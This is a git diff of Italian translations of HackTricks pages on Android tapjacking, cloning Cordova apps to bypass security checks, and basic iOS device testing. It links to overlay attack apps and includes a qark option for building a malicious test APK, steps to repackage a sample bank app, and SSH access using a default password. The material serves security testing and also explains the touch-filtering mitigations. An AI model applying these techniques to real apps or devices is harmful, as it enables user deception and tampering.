* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## **Informazioni di Base**
|
## **Informazioni di base**
|
||||||
|
|
||||||
**Tapjacking** è un attacco in cui un'**applicazione malevola** viene avviata e si **posiziona sopra un'applicazione vittima**. Una volta che oscura visivamente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente affinché interagisca con essa, mentre passa l'interazione all'app vittima.\
|
**Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\
|
||||||
Di fatto, **acceca l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
|
In effetti, sta **ciecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**.
|
||||||
|
|
||||||
### Rilevamento
|
### Rilevamento
|
||||||
|
|
||||||
Per individuare le app vulnerabili a questo attacco, è necessario cercare le **attività esportate** nel manifesto Android (nota che un'attività con un intent-filter è automaticamente esportata per impostazione predefinita). Una volta trovate le attività esportate, **verificare se richiedono qualche permesso**. Questo perché la **applicazione malevola avrà bisogno anche di quel permesso**.
|
Per rilevare le app vulnerabili a questo attacco, dovresti cercare **attività esportate** nel manifest android (nota che un'attività con un intent-filter è automaticamente esportata per impostazione predefinita). Una volta trovate le attività esportate, **controlla se richiedono qualche permesso**. Questo perché l'**applicazione maligna avrà bisogno di quel permesso**.
|
||||||
|
|
||||||
### Protezione
|
### Protezione
|
||||||
|
|
||||||
#### Android 12 (API 31,32) e superiori
|
#### Android 12 (API 31,32) e superiori
|
||||||
|
|
||||||
[**Secondo questa fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** gli attacchi di tapjacking sono automaticamente impediti da Android da Android 12 (API 31 e 30) in poi. Quindi, anche se l'applicazione è vulnerabile, **non sarà possibile sfruttarla**.
|
[**Secondo questa fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** gli attacchi di tapjacking sono automaticamente prevenuti da Android a partire da Android 12 (API 31 & 30) e superiori. Quindi, anche se l'applicazione è vulnerabile, **non sarai in grado di sfruttarla**.
|
||||||
|
|
||||||
#### `filterTouchesWhenObscured`
|
#### `filterTouchesWhenObscured`
|
||||||
|
|
||||||
Se **`android:filterTouchesWhenObscured`** è impostato su **`true`**, la `View` non riceverà tocchi ogni volta che la finestra della vista è oscurata da un'altra finestra visibile.
|
Se **`android:filterTouchesWhenObscured`** è impostato su **`true`**, il `View` non riceverà tocchi ogni volta che la finestra della vista è oscurata da un'altra finestra visibile.
|
||||||
|
|
||||||
#### **`setFilterTouchesWhenObscured`**
|
#### **`setFilterTouchesWhenObscured`**
|
||||||
|
|
||||||
|
@ -50,17 +51,17 @@ android:layout_height="wrap_content"
|
||||||
android:filterTouchesWhenObscured="true">
|
android:filterTouchesWhenObscured="true">
|
||||||
</Button>
|
</Button>
|
||||||
```
|
```
|
||||||
## Sfruttamento
|
## Exploitation
|
||||||
|
|
||||||
### Tapjacking-ExportedActivity
|
### Tapjacking-ExportedActivity
|
||||||
|
|
||||||
La più **recente applicazione Android** che esegue un attacco Tapjacking (+ invocando prima un'attività esportata dell'applicazione attaccata) può essere trovata in: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
L'**ultima applicazione Android** che esegue un attacco Tapjacking (+ invocando prima un'attività esportata dell'applicazione attaccata) può essere trovata in: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||||
|
|
||||||
Segui le **istruzioni del README per usarla**.
|
Segui le **istruzioni del README per utilizzarla**.
|
||||||
|
|
||||||
### FloatingWindowApp
|
### FloatingWindowApp
|
||||||
|
|
||||||
Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporsi ad altre attività per eseguire un attacco di clickjacking, può essere trovato in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' datato, buona fortuna a costruire l'apk).
|
Un progetto di esempio che implementa **FloatingWindowApp**, che può essere utilizzato per sovrapporsi ad altre attività per eseguire un attacco clickjacking, può essere trovato in [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (un po' vecchio, buona fortuna a costruire l'apk).
|
||||||
|
|
||||||
### Qark
|
### Qark
|
||||||
|
|
||||||
|
@ -68,28 +69,29 @@ Un progetto di esempio che implementa **FloatingWindowApp**, che può essere uti
|
||||||
Sembra che questo progetto non sia più mantenuto e questa funzionalità non funzioni più correttamente
|
Sembra che questo progetto non sia più mantenuto e questa funzionalità non funzioni più correttamente
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` per creare un'applicazione dannosa per testare possibili vulnerabilità di **Tapjacking**.
|
Puoi utilizzare [**qark**](https://github.com/linkedin/qark) con i parametri `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` per creare un'applicazione malevola per testare possibili vulnerabilità di **Tapjacking**.\
|
||||||
|
|
||||||
La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento dello Sviluppatore Android](https://developer.android.com/reference/android/view/View#security):
|
La mitigazione è relativamente semplice poiché lo sviluppatore può scegliere di non ricevere eventi touch quando una vista è coperta da un'altra. Utilizzando il [Riferimento per sviluppatori Android](https://developer.android.com/reference/android/view/View#security):
|
||||||
|
|
||||||
> A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o fare clic su un annuncio. Purtroppo, un'applicazione dannosa potrebbe cercare di ingannare l'utente affinché esegua queste azioni, ignaro, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei touch che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
|
> A volte è essenziale che un'applicazione possa verificare che un'azione venga eseguita con la piena conoscenza e il consenso dell'utente, come concedere una richiesta di autorizzazione, effettuare un acquisto o cliccare su un annuncio. Sfortunatamente, un'applicazione malevola potrebbe cercare di ingannare l'utente per eseguire queste azioni, senza che se ne accorga, nascondendo lo scopo previsto della vista. Come rimedio, il framework offre un meccanismo di filtraggio dei tocchi che può essere utilizzato per migliorare la sicurezza delle viste che forniscono accesso a funzionalità sensibili.
|
||||||
>
|
>
|
||||||
> Per abilitare il filtraggio dei touch, chiamare [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o impostare l'attributo di layout android:filterTouchesWhenObscured su true. Quando abilitato, il framework scarterà i touch ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà touch ogni volta che compare una toast, una dialog o un'altra finestra sopra la finestra della vista.
|
> Per abilitare il filtraggio dei tocchi, chiama [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o imposta l'attributo di layout android:filterTouchesWhenObscured su true. Quando abilitato, il framework scarterà i tocchi ricevuti ogni volta che la finestra della vista è oscurata da un'altra finestra visibile. Di conseguenza, la vista non riceverà tocchi ogni volta che un toast, un dialogo o un'altra finestra appare sopra la finestra della vista.
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,30 +1,31 @@
|
||||||
# App Cordova
|
# Cordova Apps
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Per ulteriori dettagli consulta [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Questo è un riassunto:
|
**Per ulteriori dettagli controlla [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Questo è un riassunto:
|
||||||
|
|
||||||
Apache Cordova è riconosciuto per consentire lo sviluppo di **applicazioni ibride** utilizzando **JavaScript, HTML e CSS**. Consente la creazione di applicazioni Android e iOS; tuttavia, manca di un meccanismo predefinito per proteggere il codice sorgente dell'applicazione. A differenza di React Native, Cordova non compila il codice sorgente per impostazione predefinita, il che può portare a vulnerabilità di manomissione del codice. Cordova utilizza WebView per renderizzare le applicazioni, esponendo il codice HTML e JavaScript anche dopo essere stato compilato in file APK o IPA. React Native, al contrario, utilizza una VM JavaScript per eseguire il codice JavaScript, offrendo una migliore protezione del codice sorgente.
|
Apache Cordova è riconosciuto per consentire lo sviluppo di **applicazioni ibride** utilizzando **JavaScript, HTML e CSS**. Permette la creazione di applicazioni Android e iOS; tuttavia, manca di un meccanismo predefinito per proteggere il codice sorgente dell'applicazione. A differenza di React Native, Cordova non compila il codice sorgente per impostazione predefinita, il che può portare a vulnerabilità di manomissione del codice. Cordova utilizza WebView per rendere le applicazioni, esponendo il codice HTML e JavaScript anche dopo essere stato compilato in file APK o IPA. React Native, al contrario, impiega una VM JavaScript per eseguire il codice JavaScript, offrendo una migliore protezione del codice sorgente.
|
||||||
|
|
||||||
### Clonare un'applicazione Cordova
|
### Clonare un'Applicazione Cordova
|
||||||
|
|
||||||
Prima di clonare un'applicazione Cordova, assicurarsi che NodeJS sia installato insieme ad altri prerequisiti come Android SDK, Java JDK e Gradle. La documentazione ufficiale di Cordova [documentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) fornisce una guida completa per queste installazioni.
|
Prima di clonare un'applicazione Cordova, assicurati che NodeJS sia installato insieme ad altri prerequisiti come l'Android SDK, Java JDK e Gradle. La [documentazione ufficiale](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) di Cordova fornisce una guida completa per queste installazioni.
|
||||||
|
|
||||||
Considera un'applicazione di esempio chiamata `Bank.apk` con il nome del pacchetto `com.android.bank`. Per accedere al codice sorgente, decomprimere `bank.apk` e navigare nella cartella `bank/assets/www`. Questa cartella contiene il codice sorgente completo dell'applicazione, inclusi file HTML e JS. La configurazione dell'applicazione può essere trovata in `bank/res/xml/config.xml`.
|
Considera un'applicazione di esempio chiamata `Bank.apk` con il nome del pacchetto `com.android.bank`. Per accedere al codice sorgente, decomprimi `bank.apk` e naviga nella cartella `bank/assets/www`. Questa cartella contiene il codice sorgente completo dell'applicazione, inclusi i file HTML e JS. La configurazione dell'applicazione può essere trovata in `bank/res/xml/config.xml`.
|
||||||
|
|
||||||
Per clonare l'applicazione, seguire questi passaggi:
|
Per clonare l'applicazione, segui questi passaggi:
|
||||||
```bash
|
```bash
|
||||||
npm install -g cordova@latest
|
npm install -g cordova@latest
|
||||||
cordova create bank-new com.android.bank Bank
|
cordova create bank-new com.android.bank Bank
|
||||||
|
@ -32,46 +33,47 @@ cd bank-new
|
||||||
```
|
```
|
||||||
Copia il contenuto di `bank/assets/www` in `bank-new/www`, escludendo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` e la directory `plugins/`.
|
Copia il contenuto di `bank/assets/www` in `bank-new/www`, escludendo `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` e la directory `plugins/`.
|
||||||
|
|
||||||
Specifica la piattaforma (Android o iOS) durante la creazione di un nuovo progetto Cordova. Per clonare un'app Android, aggiungi la piattaforma Android. Nota che le versioni delle piattaforme Cordova e i livelli delle API Android sono distinti. Consulta la [documentazione](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) di Cordova per i dettagli sulle versioni delle piattaforme e le API Android supportate.
|
Specifica la piattaforma (Android o iOS) quando crei un nuovo progetto Cordova. Per clonare un'app Android, aggiungi la piattaforma Android. Nota che le versioni della piattaforma di Cordova e i livelli API di Android sono distinti. Consulta la [documentazione](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) di Cordova per dettagli sulle versioni della piattaforma e le API Android supportate.
|
||||||
|
|
||||||
Per determinare la versione appropriata della piattaforma Cordova Android, controlla il valore `PLATFORM_VERSION_BUILD_LABEL` nel file `cordova.js` dell'applicazione originale.
|
Per determinare la versione appropriata della piattaforma Cordova Android, controlla il `PLATFORM_VERSION_BUILD_LABEL` nel file `cordova.js` dell'applicazione originale.
|
||||||
|
|
||||||
Dopo aver configurato la piattaforma, installa i plugin necessari. Il file `bank/assets/www/cordova_plugins.js` dell'applicazione originale elenca tutti i plugin e le loro versioni. Installa ogni plugin singolarmente come mostrato di seguito:
|
Dopo aver impostato la piattaforma, installa i plugin richiesti. Il file `bank/assets/www/cordova_plugins.js` dell'applicazione originale elenca tutti i plugin e le loro versioni. Installa ogni plugin singolarmente come mostrato di seguito:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||||
```
|
```
|
||||||
Se un plugin non è disponibile su npm, è possibile ottenerlo da GitHub:
|
Se un plugin non è disponibile su npm, può essere prelevato da GitHub:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||||
```
|
```
|
||||||
Assicurarsi che tutti i prerequisiti siano soddisfatti prima di compilare:
|
Assicurati che tutti i prerequisiti siano soddisfatti prima della compilazione:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova requirements
|
cordova requirements
|
||||||
```
|
```
|
||||||
Per creare l'APK, utilizzare il seguente comando:
|
Per costruire l'APK, usa il seguente comando:
|
||||||
```bash
|
```bash
|
||||||
cd bank-new
|
cd bank-new
|
||||||
cordova build android — packageType=apk
|
cordova build android — packageType=apk
|
||||||
```
|
```
|
||||||
Questo comando genera un APK con l'opzione di debug abilitata, facilitando il debug tramite Google Chrome. È fondamentale firmare l'APK prima dell'installazione, soprattutto se l'applicazione include meccanismi di rilevamento della manipolazione del codice.
|
Questo comando genera un APK con l'opzione di debug abilitata, facilitando il debug tramite Google Chrome. È fondamentale firmare l'APK prima dell'installazione, specialmente se l'applicazione include meccanismi di rilevamento delle manomissioni del codice.
|
||||||
|
|
||||||
### Strumento di automazione
|
### Strumento di Automazione
|
||||||
|
|
||||||
Per coloro che cercano di automatizzare il processo di clonazione, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** è uno strumento consigliato. Semplifica la clonazione delle applicazioni Android, semplificando i passaggi descritti sopra.
|
Per coloro che cercano di automatizzare il processo di clonazione, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** è uno strumento raccomandato. Semplifica la clonazione delle applicazioni Android, semplificando i passaggi descritti sopra.
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,139 +1,140 @@
|
||||||
# Operazioni di base di testing su iOS
|
# Operazioni di Test di Base per iOS
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **Sommario dell'identificazione e accesso del dispositivo iOS**
|
## **Riepilogo dell'Identificazione e Accesso ai Dispositivi iOS**
|
||||||
|
|
||||||
### **Identificazione dell'UDID di un dispositivo iOS**
|
### **Identificazione del UDID di un Dispositivo iOS**
|
||||||
|
|
||||||
Per identificare in modo univoco un dispositivo iOS, viene utilizzata una sequenza di 40 cifre nota come UDID. Su macOS Catalina o versioni successive, è possibile trovarlo nell'app **Finder**, poiché iTunes non è più presente. Il dispositivo, una volta connesso tramite USB e selezionato in Finder, rivela il suo UDID insieme ad altre informazioni quando si fa clic sui dettagli sotto il suo nome.
|
Per identificare un dispositivo iOS in modo univoco, si utilizza una sequenza di 40 cifre nota come UDID. Su macOS Catalina o versioni successive, questo può essere trovato nell'**app Finder**, poiché iTunes non è più presente. Il dispositivo, una volta connesso tramite USB e selezionato in Finder, rivela il suo UDID tra le altre informazioni quando si clicca sui dettagli sotto il suo nome.
|
||||||
|
|
||||||
Per le versioni di macOS precedenti a Catalina, iTunes facilita la scoperta dell'UDID. Le istruzioni dettagliate possono essere trovate [qui](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
Per le versioni di macOS precedenti a Catalina, iTunes facilita la scoperta dell'UDID. Istruzioni dettagliate possono essere trovate [qui](http://www.iclarified.com/52179/how-to-find-your-iphones-udid).
|
||||||
|
|
||||||
Gli strumenti a riga di comando offrono metodi alternativi per recuperare l'UDID:
|
Gli strumenti da riga di comando offrono metodi alternativi per recuperare l'UDID:
|
||||||
|
|
||||||
* **Utilizzando lo strumento I/O Registry Explorer `ioreg`:**
|
* **Utilizzando lo strumento I/O Registry Explorer `ioreg`:**
|
||||||
```bash
|
```bash
|
||||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||||
```
|
```
|
||||||
* **Utilizzo di `ideviceinstaller` per macOS (e Linux):**
|
* **Utilizzando `ideviceinstaller` per macOS (e Linux):**
|
||||||
```bash
|
```bash
|
||||||
$ brew install ideviceinstaller
|
$ brew install ideviceinstaller
|
||||||
$ idevice_id -l
|
$ idevice_id -l
|
||||||
```
|
```
|
||||||
* **Utilizzo di `system_profiler`:**
|
* **Utilizzando `system_profiler`:**
|
||||||
```bash
|
```bash
|
||||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||||
```
|
```
|
||||||
* **Utilizzo di `instruments` per elencare i dispositivi:**
|
* **Utilizzando `instruments` per elencare i dispositivi:**
|
||||||
```bash
|
```bash
|
||||||
$ instruments -s devices
|
$ instruments -s devices
|
||||||
```
|
```
|
||||||
### **Accesso alla Shell del Dispositivo**
|
### **Accesso alla Shell del Dispositivo**
|
||||||
|
|
||||||
L'accesso **SSH** è abilitato installando il pacchetto **OpenSSH** dopo il jailbreak, consentendo connessioni tramite `ssh root@<indirizzo_ip_dispositivo>`. È fondamentale cambiare le password predefinite (`alpine`) per gli utenti `root` e `mobile` per proteggere il dispositivo.
|
